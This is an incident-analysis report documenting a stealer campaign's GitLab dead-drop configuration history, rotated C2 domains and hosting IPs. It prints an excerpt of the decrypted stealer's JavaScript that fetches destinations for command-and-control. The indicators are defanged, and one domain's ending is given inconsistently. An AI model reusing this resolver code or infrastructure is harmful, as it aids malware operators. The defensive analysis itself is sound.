E07. Configuration and infrastructure history

Ilja Krasnjanski
24 October 2026 · Edited evidence report
Historical evidence through 24 July 2026; later engineering checks identified separately.

This report synthesizes the cited case records. Exhibits distinguish retained artifact excerpts from secondary analytical records and claims whose original inputs are unavailable. Excerpts may be redacted or reformatted; extraction methods and limitations are stated locally. Fingerprints identify inputs, not the truth of their claims. Bracketed S labels identify the analysis records listed at the end.

Resolver evidence

The recorded payload refers to `gitlab[.]com/drop-indexing/tasks/-/raw/main/config.json` for destination configuration. The repository history also contains a separate `config-alt.json` file, but neither retained payload references it. The recovered JavaScript has a distinct hard-coded fallback address, `api.domatisc[.]ink`. This report uses saved configuration-history analysis, not a current request to GitLab. [S1, S2]

Recorded changes

The primary history records five revisions on 26 May 2026. The initial list names `domatisc[.]ink`, `coslyintra[.]online` and `valorecuiting[.]online`; later changes add API subdomains and remove one entry. The final listed May revision contains `api.domatisc[.]ink` and `api.coslyintra[.]online`. [S1]

On 13 July at approximately 07:10 UTC, commit `c3c71d65` changes the referenced `config.json` list to `api.cklomino[.]ink` and `api.dsfmot[.]xyz`. The separate `config-alt.json` file, added on 1 June, contains `api.onoplainai[.]ink` and `api.migadyn[.]info`; client use of that file is not established. The saved table lists six `config.json` commits and one `config-alt.json` commit; repository-wide commit counts should not be treated as identical to file-specific histories. [S1]

Hosting context

The historical synthesis assigns `207.241.172[.]222` a C2 and administration role, `170.205.31[.]182` a lure-hosting role, and `23.137.105[.]75` an earlier C2 role. These assignments combine different observation types and dates. They do not establish that every listed relationship was simultaneous or that the addresses were dedicated exclusively to one operator. E20 and E21 examine those limitations. [S2]

Assessment and limits

Recorded changes support at least one destination rotation through mutable configuration. They do not establish client refresh frequency, cache behavior, failure handling or universal use of the same resource. Destination blocking can interrupt connections even when a resolver exists; conversely, a cached destination may remain usable after resolver access is blocked. The original assertion that domain takedowns cannot interrupt the operation is too broad.

Monitoring scripts and historical output document an observation method, not a monitoring service verified to be running today. No historical indicator in this report is presented as a current blocklist.

Exhibits

All repository exhibits come from a retained Git bundle of the dead-drop project, cloned locally from the bundle file (no network): `git clone deaddrop-repo.bundle repo`. The bundle's single head is `c3c71d65d5c83ab773f061bec2a372bfa2be402f refs/heads/main`. Author and committer names/addresses are deliberately left out of every `--format` string below (operator identity leads); no other redaction was needed in the Git output.

Exhibit E07-1. File-specific commit lists for config.json and config-alt.json

Artifact: Dead-drop repository Git bundle · 4900 bytes · SHA-256
`804df377a0425d0aa7433ec2402d55ce8c913e1e4063d32565ddfda8ae807245`

Location: branch `main`, all commits touching each file

Extraction: `git log --format='%h %ad %s' --date=iso-strict -- config.json; git log --format='%h %ad %s' --date=iso-strict -- config-alt.json`

Supports: "six `config.json` commits and one `config-alt.json` commit"; five 26 May revisions; 13 July change at about 07:10 UTC

```
c3c71d6 2026-07-13T07:10:58Z chore: upd config urls
87b9974 2026-05-26T02:23:44Z Edit config.json
52f6173 2026-05-26T02:17:29Z Edit config.json
1f5c121 2026-05-26T02:15:45Z Edit config.json
80cbe5a 2026-05-26T02:11:06Z Edit config.json
bb62474 2026-05-26T01:57:22Z Add new file
47b13d3 2026-06-01T06:20:02Z Add new file
```

The first six lines are `config.json` (five on 26 May, one on 13 July); the last line is `config-alt.json`. The whole repository has eight commits (`git rev-list --all --count` = 8), because a README-only "Initial commit" (`dcc229b`, 2026-05-26T01:53:29Z) is not part of either file history, which is why repository-wide and file-specific counts differ.

Exhibit E07-2. The primary host list at every revision

Artifact: Dead-drop repository Git bundle · 4900 bytes · SHA-256
`804df377a0425d0aa7433ec2402d55ce8c913e1e4063d32565ddfda8ae807245`

Location: `config.json` blob at commits bb62474, 80cbe5a, 1f5c121, 52f6173, 87b9974, c3c71d6

Extraction: `for c in bb62474 80cbe5a 1f5c121 52f6173 87b9974 c3c71d6; do echo "--- ${c} $(git rev-parse "${c}:config.json")"; git show "${c}:config.json" | tr -d '\r\n' | tr -s ' '; echo; done`

Supports: initial three-domain list; API subdomains added; final May list; 13 July list

```
--- bb62474 ddeb2f0556bcaacfc491eb3b66023a64bd323d11
[ "domatisc[.]ink", "coslyintra[.]online", "valorecuiting[.]online"]
--- 80cbe5a ebd0ed165ede51c3686291a6d62b850c3ec9fb48
[ "domatisc[.]ink", "coslyintra[.]online"]
--- 1f5c121 ddeb2f0556bcaacfc491eb3b66023a64bd323d11
[ "domatisc[.]ink", "coslyintra[.]online", "valorecuiting[.]online"]
--- 52f6173 fb6f184763d873bdac0b96aa66782aefebd0f739
[ "api.domatisc[.]ink", "api.coslyintra[.]online", "api.valorecuiting[.]online"]
--- 87b9974 ca9dccd153959f8200312ab38f28e0023a8f5daa
[ "api.domatisc[.]ink", "api.coslyintra[.]online"]
--- c3c71d6 2c7b60879d614c615f1fd26b20056d0b3a496b3b
[ "api.cklomino[.]ink", "api.dsfmot[.]xyz"]
```

Line breaks, CRs and repeated spaces inside each JSON file were collapsed by the `tr` filters; domains defanged. Note that bb62474 and 1f5c121 have the same blob id (`ddeb2f0…`): the 1f5c121 file is byte-identical to the original list.

Exhibit E07-3. One entry removed, then restored, on 26 May

Artifact: Dead-drop repository Git bundle · 4900 bytes · SHA-256
`804df377a0425d0aa7433ec2402d55ce8c913e1e4063d32565ddfda8ae807245`
Location: commits `80cbe5a3d0cbd987e5bb903b48b837e825204774`, `1f5c121ce2fa71afc11cf102ead3bb7ea9a6722c`
Extraction: `git show --format='commit %H%nDate: %ad%n%n %s' --date=iso-strict 80cbe5a 1f5c121`
Supports: "later changes add API subdomains and remove one entry" (shows the removal was first reversed)

```
commit 80cbe5a3d0cbd987e5bb903b48b837e825204774
Date:   2026-05-26T02:11:06Z

    Edit config.json

diff --git a/config.json b/config.json
index ddeb2f0..ebd0ed1 100644
--- a/config.json
+++ b/config.json
@@ -1,5 +1,4 @@
 [
     "domatisc[.]ink",
-    "coslyintra[.]online",
-    "valorecuiting[.]online"
+    "coslyintra[.]online"
 ]
\ No newline at end of file
commit 1f5c121ce2fa71afc11cf102ead3bb7ea9a6722c
Date:   2026-05-26T02:15:45Z

    Edit config.json

diff --git a/config.json b/config.json
index ebd0ed1..ddeb2f0 100644
```

The 1f5c121 diff (truncated here at its index line) is the exact inverse, restoring `valorecuiting[.]online` and the original blob `ddeb2f0`. The entry was removed again, in its `api.` form, at 87b9974 (02:23:44Z). Domains defanged.

Exhibit E07-4. The 13 July rotation commit

Artifact: Dead-drop repository Git bundle · 4900 bytes · SHA-256
`804df377a0425d0aa7433ec2402d55ce8c913e1e4063d32565ddfda8ae807245`
Location: commit `c3c71d65d5c83ab773f061bec2a372bfa2be402f` (branch head)
Extraction: `git show --format='commit %H%nDate: %ad%n%n %s' --date=iso-strict c3c71d6`
Supports: "commit c3c71d65 changes the primary list to api.cklomino[.]ink and api.dsfmot[.]xyz"

```
commit c3c71d65d5c83ab773f061bec2a372bfa2be402f
Date:   2026-07-13T07:10:58Z

    chore: upd config urls

diff --git a/config.json b/config.json
index ca9dccd..2c7b608 100644
--- a/config.json
+++ b/config.json
@@ -1,4 +1,4 @@
 [
-    "api.domatisc[.]ink",
-    "api.coslyintra[.]online"
+    "api.cklomino[.]ink",
+    "api.dsfmot[.]xyz"
 ]
\ No newline at end of file
```

Domains defanged. The commit's timezone field is `+0000` (`--date=raw` gives `1783926658 +0000`).

Exhibit E07-5. The separate config-alt.json file, added 1 June

Artifact: Dead-drop repository Git bundle · 4900 bytes · SHA-256
`804df377a0425d0aa7433ec2402d55ce8c913e1e4063d32565ddfda8ae807245`
Location: commit `47b13d38c2726a1ffb6a7bcb900b6c609153d6d4`
Extraction: `git show --format='commit %H%nDate: %ad%n%n %s' --date=iso-strict 47b13d3`
Supports: "The separate config-alt.json record, dated 1 June, contains api.onoplainai[.]link and api.migadyn[.]info"

```
commit 47b13d38c2726a1ffb6a7bcb900b6c609153d6d4
Date:   2026-06-01T06:20:02Z

    Add new file

diff --git a/config-alt.json b/config-alt.json
new file mode 100644
index 0000000..3421820
--- /dev/null
+++ b/config-alt.json
@@ -0,0 +1,4 @@
+[
+    "api.onoplainai[.]link",
+    "api.migadyn[.]info"
+]
```

The file uses CRLF line endings (not visible here). Blob `3421820…` is still the file at the bundle head, so the fallback list was never changed in the retained history. Domains defanged.

Exhibit E07-6. The payload reads its destinations from the mutable resource

Artifact: Decrypted stealer JavaScript (deepfake-guard chain) · 230621 bytes · SHA-256
`70ea6e2eaab58bdb83b7b235dd6253ffbcaed5e7df0286cbefd72d7650c3f47a`
Location: lines 440–443 and 542–559
Extraction: `sed -n '440,443p;542,559p' install_guard_d.stealer.decrypted.js`
Supports: "The recorded payload refers to gitlab[.]com/drop-indexing/tasks/-/raw/main/config.json"; the addresses are supplied separately from the payload

```
const DEAD_DROP_URL = "hxxps://gitlab[.]com/drop-indexing/tasks/-/raw/main/config.json";
const FALLBACK_URLS = ["wss://api.domatisc[.]ink"];
let SERVER_URL = FALLBACK_URLS[0];
let AGENT_TOKEN = "[REDACTED: agent token]";
function resolveDeadDrop() {
  return new Promise((resolve) => {
    if (!DEAD_DROP_URL) return resolve(null);
    const timeout = setTimeout(() => resolve(null), 10000);
    try {
      const u = new URL(DEAD_DROP_URL);
      const mod = u.protocol === "https:" ? https : http;
      const req = mod.get(DEAD_DROP_URL, { timeout: 8000, headers: { "User-Agent": "Mozilla/\
5.0" } }, (res) => {
        if (res.statusCode !== 200) { clearTimeout(timeout); return resolve(null); }
        let body = "";
        res.on("data", (c) => { body += c; });
        res.on("end", () => {
          clearTimeout(timeout);
          try {
            const parsed = JSON.parse(body.trim());
            if (Array.isArray(parsed) && parsed.length > 0) {
              const domains = parsed.map(d => d.startsWith("wss://") ? d : `wss://${d}`);
              return resolve(domains);
```

The hard-coded client fallback is the May-era `api.domatisc[.]ink`, which appears in Exhibit E07-2; the JSON array is mapped to `wss://` destinations. The agent token is redacted, URLs defanged, and one line hard-wrapped. The compiled Go implant (SHA-256 `ef183bbb…8e8d`, see E21) embeds the same URL at decimal offset 9202784 (`strings -t d -n 8 … | grep -F drop-indexing`).

Claims without a retained primary artifact

- `config-alt.json` as a client-side *fallback*: neither retained payload references `config-alt.json` (grep of the decrypted stealer and the stage-three script finds no occurrence); the role rests on the analysis note and the file name.
- The hosting-context roles of `207.241.172[.]222`, `170.205.31[.]182` and `23.137.105[.]75` (Censys/Shodan/VirusTotal observations are not saved in the workspace; see E20/E21).
- Monitoring script behaviour and historical monitor output (the scripts are retained as copies, but they are tools, not evidence of the configuration history).

Exhibit inputs

Retained inputs identified by size and SHA-256. These include artifacts and analytical records; each exhibit identifies its evidence type and extraction limitations. The files themselves are not distributed.

Dead-drop repository Git bundle (drop-indexing/tasks) · 4,900 bytes

`SHA-256 804df377a0425d0aa7433ec2402d55ce8c913e1e4063d32565ddfda8ae807245`

Decrypted stealer JavaScript (deepfake-guard chain) · 230,621 bytes

`SHA-256 70ea6e2eaab58bdb83b7b235dd6253ffbcaed5e7df0286cbefd72d7650c3f47a`

Overlord Go implant, linux/amd64 · 15,790,242 bytes

`SHA-256 ef183bbb40f4c7c3f4b52994cdba3295f3eab2604fdad99eefa3b67b8d966e8d`

Source records and fingerprints

SHA-256 identifies the reviewed source bytes, not acquisition time or every artifact described. Restricted originals are not reproduced.

[S1] Configuration-history analysis, 23 July 2026 · 3,877 bytes

`SHA-256 8aebbd87af487636479410929d8f6847a145ff3f5da92e9aefa51859ea38e17b`

[S2] Master investigation record · 65,312 bytes

`SHA-256 9f3736d9c68564553945d8427d0ba6d5b7cf12a92f559bc0d615ef2fd0e26bed`